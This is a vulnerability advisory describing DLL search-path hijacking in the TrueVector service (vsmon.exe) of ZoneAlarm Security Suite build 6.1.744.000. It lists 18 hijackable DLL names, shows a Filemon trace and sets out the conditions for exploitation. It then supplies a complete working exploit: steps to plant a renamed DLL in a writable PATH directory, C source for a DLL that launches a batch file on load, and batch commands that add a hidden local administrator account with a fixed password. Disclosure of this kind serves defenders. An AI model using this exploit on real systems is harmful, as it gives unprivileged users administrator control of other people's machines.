18 ways to escalate privileges in Zone Labs ZoneAlarm Security Suite build 6.1.744.000
Summary:
18 ways to escalate privileges in Zone Labs ZoneAlarm Security Suite
build 6.1.744.000 (http://www.zonelabs.com/)
Details:
During Windows startup the TrueVector service (vsmon.exe - an integral
piece of most Zone Labs products) is set to startup automatically. The
TrueVector service runs under the context of the Local System account.
During its startup process it attempts to load several DLLs (that are
listed below).
- VSUTIL_Loc0409_Oem8701.dll
- VSUTIL_Oem8701.dll
- VSUTIL_Loc0409.dll
- vsmon_Loc0409_Oem8701.dll
- vsmon_Oem8701.dll
- vsmon_Loc0409.dll
- VSRULEDB_Loc0409_Oem8701.dll
- VSRULEDB_Oem8701.dll
- VSRULEDB_Loc0409.dll
- av_Loc0409_Oem8701.dll
- av_Oem8701.dll
- av_Loc0409.dll
- zlquarantine_Loc0409_Oem8701.dll
- zlquarantine_Oem8701.dll
- zlquarantine_Loc0409.dll
- zlsre_Loc0409_Oem8701.dll
- zlsre_Oem8701.dll
- zlsre_Loc0409.dll
It appears that instead of using the full path to the DLL during the
load process only the name of the DLL is used. This causes several
instances of Windows PATH trolling (where Windows tries to locate the
DLL in the directories listed in its PATH environment variable on
behalf of the vsmon.exe process). This PATH trolling is what makes the
vsmon.exe process vulnerable to several privilege escalation
techniques. Below is the output from a Filemon capture of the
TrueVector service startup process (edited for brevity). Please note
that I have ActiveState's ActivePerl installed so C:\Perl\bin is
included in my PATH.
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSUTIL_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSUTIL_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSUTIL_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\vsmon_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\vsmon_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\vsmon_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSRULEDB_Loc0409_Oem8701.dll
NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSRULEDB_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSRULEDB_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\av_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\av_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\av_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION
C:\Perl\bin\zlquarantine_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlquarantine_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlquarantine_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlsre_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlsre_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlsre_Loc0409.dll NOT FOUND
Exploitation Requirements:
First of all, you will need to have a directory that is writeable to a
lower level user, that is included in the Windows PATH environment
variable. As you saw above, I had ActiveState's ActivePerl installed
and it worked just fine.
Secondly, verify that the path you have chosen is definitely writeable
to a lower level user. On Windows 2000 operating systems the default
permissions for the root of the partition where the operating system
is installed is set as Everyone/Full Control. So, by default,
C:\Perl\bin is set to Everyone/Full Control. On Windows 2000 operating
systems a guest account can be used during the exploitation process.
On Windows XP, the C:\Perl\bin folder has special permissions set (by
default) for the local Users group that allows the creation and
modification of new files and folders. Perfect, that is all that is
needed. On Windows XP, an account in the local Users group can be used
during the exploitation process.
Vulnerable Versions:
Zone Labs ZoneAlarm Security Suite build 6.1.744.000 and possibly
earlier versions
Patches/Workarounds:
The vendor was notified several times but there was no response. The
initial notification was sent on 12.20.05. Two follow-up notifications
were sent afterward.
Exploits:
1. Download http://reedarvin.thearvins.com/tools/magic.zip or compile
your own using
the source code below.
2. Extract the magic.dll and magic.bat files.
3. Rename the magic.dll file to any of the 18 different file names
listed above. In
this example I will use VSUTIL_Loc0409_Oem8701.dll.
4. Copy the VSUTIL_Loc0409_Oem8701.dlll and magic.bat files to your
chosen directory
listed in the Windows PATH environment variable.
5. Restart the machine.
6. When the TrueVector service starts up it will create a new user account named
Magic with a password of M@g1c$$ and add it to the local
Administrators group.
// ===== Start Magic.c ======
// Build Instructions
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll -W1,--out-implib,libkernel32.a magic.o
#include <windows.h>
VOID RunMagicBatFile( VOID );
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
BOOLEAN bSuccess = TRUE;
switch ( fdwReason )
{
case DLL_PROCESS_ATTACH:
RunMagicBatFile();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return bSuccess;
}
VOID RunMagicBatFile()
{
TCHAR szWinDir[ _MAX_PATH ];
TCHAR szCmdLine[ _MAX_PATH ];
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );
wsprintf( szCmdLine, "%s\\system32\\cmd.exe /c magic.bat", szWinDir );
ZeroMemory( &si, sizeof( si ) );
si.cb = sizeof( si );
ZeroMemory( &pi, sizeof( pi ) );
CreateProcess( NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si,
&pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
// ===== End Magic.c ======
// ===== Start Magic.bat ======
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add
// ===== End Magic.bat ======
Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)